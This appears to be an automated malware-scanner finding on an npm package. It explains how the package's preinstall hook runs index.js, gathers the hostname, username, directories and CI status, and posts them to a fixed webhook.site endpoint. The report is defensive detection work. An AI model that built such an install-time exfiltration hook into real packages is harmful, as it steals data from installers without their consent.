The preinstall hook causes automatic disclosure of identifying host and user data to an unrelated fixed endpoint. This is concrete install-time data exfiltration.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Installing the package runs its preinstall hook.

Impact

The endpoint receives identifying information about the installing machine and user without installer consent.

Mechanism

The hook gathers package, host, user, and environment details, then posts them over HTTPS to webhook.site.

Attack narrative

Installing the package automatically runs index.js. The script collects host and user identifiers, including the hostname, username, home directory, working directory, and CI status, then posts them to a fixed webhook.site endpoint without a consent check.

AI rationale

The preinstall hook causes automatic disclosure of identifying host and user data to an unrelated fixed endpoint. This is concrete install-time data exfiltration.
